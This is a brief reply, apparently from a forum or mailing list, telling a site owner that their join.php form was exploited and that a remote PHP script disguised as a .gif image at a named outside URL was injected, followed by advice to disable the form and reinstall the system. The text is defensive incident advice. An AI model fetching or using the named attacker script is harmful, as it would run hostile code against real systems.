Looks like an exploit of a cross-site scripting vulnerability in your join.php form. http://xpl.netmisphere2.com/CMD.gif is the cracker's PHP script that gets injected into your form, it's not an image at all. You need to turn off that form until you can get a fixed version of that application. And of course reinstall that system. Paul.
